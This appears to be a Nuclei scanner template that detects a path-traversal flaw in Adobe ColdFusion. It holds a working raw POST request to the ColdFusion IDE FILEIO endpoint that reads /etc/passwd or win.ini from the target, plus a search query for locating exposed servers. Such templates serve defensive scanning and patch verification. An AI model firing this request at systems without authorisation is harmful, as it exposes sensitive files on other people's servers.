id: CVE-2026-48313

info:
  name: ColdFusion - Path Traversal
  author: watchtowr,DhiyaneshDk
  severity: high
  description: |
    ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read and limited write access. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.
  impact: |
    Attackers can read sensitive files and write limited files outside intended directories, risking data exposure and modification.
  remediation: |
    Update to the latest version beyond 2025.9 or 2023.20.
  reference:
    - https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Adobe-ColdFusion"
  tags: cve,cve2026,lfi,adobe,coldfusion

http:
  - raw:
      - |
        POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        2:{{len}}:{{path}}000004:READ

    payloads:
      path:
        - 'C:\Windows\win.ini'
        - '/etc/passwd'
      len:
        - '000018'
        - '000011'

    attack: pitchfork

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[fonts]'
          - 'root:x:0:0:'
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b82a4142b6a0b7e63ad0f3eae6931913eba50f6414d39ed6d18c9f0cab4dfd8c022100966354bcf2f7253f095a0d5e5b70f9025446b375336d5d9af8aa39ffbfd67a57:922c64590222798bb761d5b6d8e72950